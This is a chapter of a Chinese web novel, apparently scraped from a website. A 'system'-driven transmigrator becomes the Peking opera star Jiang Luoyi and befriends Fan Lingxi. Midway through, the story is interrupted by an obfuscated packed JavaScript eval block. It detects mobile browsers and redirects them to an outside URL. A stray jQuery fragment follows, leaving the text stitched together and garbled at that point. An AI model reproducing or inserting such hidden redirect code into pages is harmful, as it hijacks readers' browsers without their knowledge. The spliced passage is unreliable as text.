琴幽再次回到那个通体雪白,散发光辉的不明地。
系统凭空弹出:【007号执行者琴幽可自行选下一个的游戏副本世界!】
琴幽淡淡的道:“有没有难度低,剧情简单的。”
系统:【有。】接连发送几个简单游戏副本。
看着眼前不同世界,不同剧情的游戏副本世界,琴幽内心直呼:“真是大手笔啊,一个初创系统就有这么多游戏副本世界,正规系统执行者可不得杀疯啊,穿完这个穿那个,怪不得穿来穿去还是死在游戏世界了。”
一阵唏嘘后,琴幽挑了一个任务看似最简单的十里红妆剧情。
【欢迎007号执行者琴幽进入《十里红妆》游戏副本世界!】
短暂的天旋地转后,重影的世界终于魂归本体,依稀的对话声随
眸中事物清明,也清晰了起来。
再次睁眼,见一男子气质儒雅端庄,带着少年肆意与羞怯,不知
措的挠挠头道:“难为姑娘演了一出穆桂英挂帅,今日出门太过匆忙,银两不够,望姑娘恕罪。”
转手就将琼华流影扇双手奉置身前:“若姑娘不嫌弃,这柄折扇还请收下。”
这好端端的上来就收礼,不是这系统怎么加载还是这么慢,这人谁啊!
忽的一打杂小役从旁路过调侃道:“性别都叫错了,也不知道哪门子的赔礼。”
琴幽脑海中一堆乱码飘出,突然系统弹出:【当前任务为拯救泛菱溪,基本背景:执行者穿越角色为江洛衣,与泛菱溪相识于戏园,日后结为挚友,泛菱溪于塞北一战中一去不归。因任务简单,剩余剧情执行者可自行补充。】
闻言,江洛衣行礼谢道:“谢公子美意,那我就恭敬不如从命了。”
抬手接过。
泛菱溪再次致歉:“不好意思,应该称呼你为江公子才是。”
江洛衣:“小事,不足挂心!”
这时,对方头上终于出现了人物名字,与上一个游戏世界里不同的是,这主角名字竟然是金色的。
在院外等候多时的伙伴,吹了口哨。
江洛衣意识到有人在偷听,刚好走到院外的小役没好气的道:“几个大老爷们,还偷听人说话,害不害臊啊。”
此话一出,几人就不得不从墙根出来,尴尬的傻笑着。
泛菱溪也没想到,几个伙伴干起了墙角偷听的勾当,只得青着脸致歉。
江洛衣只一句:“小事,或许是好奇,不过时辰不早了,我要赶下一场了,还恕我不能奉陪。”
说罢,着红衣水袖扬长而去。
这男主长的倒是好看,不过这狐朋狗友可真是掉价,跟这群人混,迟早被坑波大的。
静坐到梳妆台前,看到铜镜中的自己不由得哀叹:明明是男儿郎,到底是多落魄,成日以女娇娥面貌侍人。
对镜卸下妆,一杂役就推门而入通知他晚上的演出。
江洛衣点头示意,正为上妆发愁,手却利落的磨黛,捏起眉笔蘸膏描眉,涂白,抹脂,点唇一气呵成。
江洛衣心有余悸的问道:“这具身体是在自动接管我吗?系统!”
系统:【是的,这是本系统的一大特色,游戏副本中执行者穿的任何角色,身体都会自动掌握原角色所有技能。】
江洛衣:“那我就不担心了。”
扮上装扮后,江洛衣在后台等待自己上场。
隔台听戏,她听见了项羽力拔山兮气盖世的呐喊,听见他不服命运节点的嘶吼。
第二场“定计。”
内二黄导板入,项羽唱:“为江山动干戈楚汉争胜。”此时二黄原板响,项羽回忆唱:“统貔貅七十二战,旗开得胜,马到成功,神鬼皆惊。”
唱腔丝滑转念:“英雄出众世无敌,七十二战创鸿基。当初不听鸿门计,事到如今后悔迟。”
一字一句无不是悔不当初。
江洛衣放平心态,将身体的支配权完全交给原主。
南梆子响起,虞姬唱道:“看大王在帐中和衣稳睡,我只得出帐外且散愁情……”
轻移步走向前中庭站定,猛抬头见碧落月色清明。
“适听得众兵丁闲谈议论,口声声露出了离散之情。”
二六起,虞姬唱:“劝君王饮酒听虞歌,解君忧闷舞婆娑。嬴秦无道把山河破,英雄四路起干戈。宽心饮酒宝帐坐,待听军情报如何。”
唱时,双剑同舞,绒花发髻与身上的铠甲叮呤作响。
项羽已知大势已去,豪壮唱:“力拔山兮气盖世,时不利兮不骓不逝。骓不逝兮怎奈何,虞兮虞兮奈若何!”
西皮慢板起,注定一切归于悲剧。
虞姬目光坚定,不舍中透着悲凉掷地有声道:“自古常言道得好:烈女不侍二夫男。愿借大王青峰剑,情愿尽节在君前。”
随即青峰宝剑一横,一个转身,旋即倒下。
项羽哭道:“可怜你为孤一命染,虞美人呐!青史名标美名传!”
大步出帐,长戟一出难抵不过敌人万千,眼前亲信个个倒下,乌江口大喊:“今日兵败至此,有何面目去见江东父老?也罢!待我自刎乌江,以谢天下!”
话音落,手起配剑血溅,一代英雄人物悲壮结束一生,全场器乐戛然而止。
台下轰鸣般的掌声,如潮水强势抚平台上演绎者的心。
“好啊!好啊!好一出霸王别姬,不愧是京城名角!”
“真是演的越来越传神了,不知的,还以为是真霸王真虞姬!”
更有一人得意喊道:“这就是口碑!”
台下观众扔上来的,彩头数不胜数,满地碎银中忽的出现金子。
众人见之呵呵笑道;“不知是哪家大户,出手竟这般阔绰!”
泛菱溪的目光穿过人群,冲他笑了笑。
江洛衣眼神礼貌回应。
……
台后,第一件事又是卸妆,这么多粉,卸的他是又急又燥。
喃喃吐槽道:“这原主真是有耐心,这皮肤得有多耐造啊,皮肤天天闷这么长时间,竟然还没闭口,没人性,嫉妒了!”
冷水卸着,门外就有人敲门求见。
不得不说这名角就是忙,不是演出就是练功,剩余的时间还要见客人,还要自己上妆,如此高强度的工作竟然没抑郁,也是一天天够高能量。
江洛衣双手忙的不可开交,直接道:“你推门进来吧!”
泛菱溪不紧不慢的推开门,江洛衣好奇的想看来者是谁,才卸了一半的脸与白面小公子四目相对。
可能是有些惊讶,只是愣神一会,眉骨的水珠就顺势流到眼中,林洛衣下意识发出呻吟,慌忙揉了揉眼。
泛菱溪手足无措,边道歉边上前想要帮忙。
江洛衣:“帮我弄盆清水。”
泛菱溪端着盆就去院中换水,很快一盆清水端到面前。
泛菱溪问:“需要我帮忙吗?”
江洛衣:“不不……不用了。”
赶紧用水先洗洗眼睛,继续卸妆,手上忙活,心里也忙活:真服了,卸个妆也要被人盯着,就算是挚友也不能大半夜不睡觉盯着人卸妆啊,这像什么话。
片刻后,江洛衣终于可以用毛巾擦拭脸了,这才问道:“公子大半夜来访,有何要事?”
泛菱溪不好意思道:“我下午被好友撺掇点了出《穆贵英挂帅》,无奈忘带钱袋,只能将折扇先给公子,方才我让小厮回去取了钱,所以……”
江洛衣瞬间明白,将折扇从抽屉里拿出。
泛菱溪连忙摆摆手:“不是的,江公子,我只是想把点戏的钱补上。”
说罢就从衣袖中取出钱袋,放在桌上,红着脸快速跑出。
江洛衣冲门外喊到:“你不是打赏过了吗?”
泛菱溪跑着回应:“那就当作今天惹得江公子的赔罪礼!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313279|198902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑到院外,驻足了好一会儿才离去。
屋内的江洛衣关上窗子,看着这一袋沉甸甸的金子,心里笑开了花:有钱人啊,出手这么阔绰,这不比那些无脑剧里的霸道总裁好多了。
转头就唤:“系统大大,我有没有云空间啊,就是那种小金库。”
系统:【有。】
江洛衣眼睛一亮,继续问:“那既然有云空间,云商店应该也有吧。”
系统:【有,不过商店的物品价格高昂,很少有执行者会选择购买。】
“再高昂,也不会一袋金子都买不起吧!”
【那倒不会。】
悠闲的时光总是短暂,一睁眼天又亮了。
门外杂役喊:“江角儿,醒了没,马上该上戏了。”
“咚咚”的叩门声可算是把他叫醒。
屋内打着哈切回道:“哎,醒了!”
杂役:“好嘞!那您收拾快点!”
江洛衣:“好!”
不给大脑反应的时间,身体就开始动了起来。
一番捣鼓,江洛衣再次登台演出。
一上午连唱两场,嗓子都快报废了,身体也处于低电模式。
用完午膳,刚小栖了半个时辰,又被叫醒通知登台。
内心直呼:放过我吧,老天爷!
即使内心哭爹喊娘,即使身体疲惫不堪,登台也是推迟不了一点的。
没办法江洛衣耐着性子又演了一场。
仿如死尸的回到后台,终于,终于迎来了好消息!
领班的告诉他:“下一场休息,点的是其他人。”
哈哈哈哈~也是让江洛衣等到了,直接迈着小碎步,回屋睡觉。
走到半路,又被人叫住,顿时气不打一出来,烦躁道:“谁啊!”
泛菱溪小跑着过来,笑着说:“是我!又来叨扰江公子了。”
江洛衣连忙礼貌回应:“怎么能叫叨扰,公子可有事?”
泛菱溪:“想问公子今日几时还会登台?”
江洛衣:“这个我也不知道,都是临时通知的,公子急匆匆的赶来不会就是为了问我这个吧。”
泛菱溪微微低头,鼓足勇气说:“我想再点一出江公子的戏!”
江洛衣面带微笑,实际内心疯狂吐槽:“不是,大哥就算你有钱,就算有颜,就算你是我金主爸爸,但你也不能这么折磨我啊!”
“可以嘛,江公子?”
江洛衣又有什么拒绝的理由呢,穷叉一个,搞不好自己还有卖身契,辛辛苦苦卖命演出,到头来就那点逼籽,真是想笑笑不了,想哭哭不出,好不容易有个大哥了,有机会脱离苦海,还能攒钱,结果自己不争气,这是万万不可的。
江洛衣职业假笑道:“幸得公子青睐,当然可以。”
说完还装模作样的问他姓名:“第二次见面了,不知公子怎么称呼?”
“泛菱溪,泛舟的泛,菱角的菱,溪水的溪!”泛菱溪又道:“我只知您姓江,一直都不知道您的全名,能否告知?”
“江洛衣。”
“很好听的名字”泛菱溪腼腆笑道。
休息时间本就不多,江洛衣可不管他是什么爸爸,只想赶紧送走,说:“泛公子若要听戏,去前厅提前点我的戏,我下场就会唱了。”
泛菱溪:“好,那我点好,在正厅等你!”
“嗯。那我先告辞了!”
看到江洛衣走路时脚步虚浮,却还答应下场上台,心中不由得多了几分敬佩。
两个钟头后,江洛衣果然被通知上台演出。
火速上好妆,演了出《拜月亭记》。
可谓是烽火中聚散,相爱抵万难。
谢场时,江洛衣看到正厅席上听得津津有味的泛菱溪。
对方出奇的朝这边挥了挥手,却又默默的消失在人群中。
……
这一夜无人打搅,江洛衣难得睡个好觉。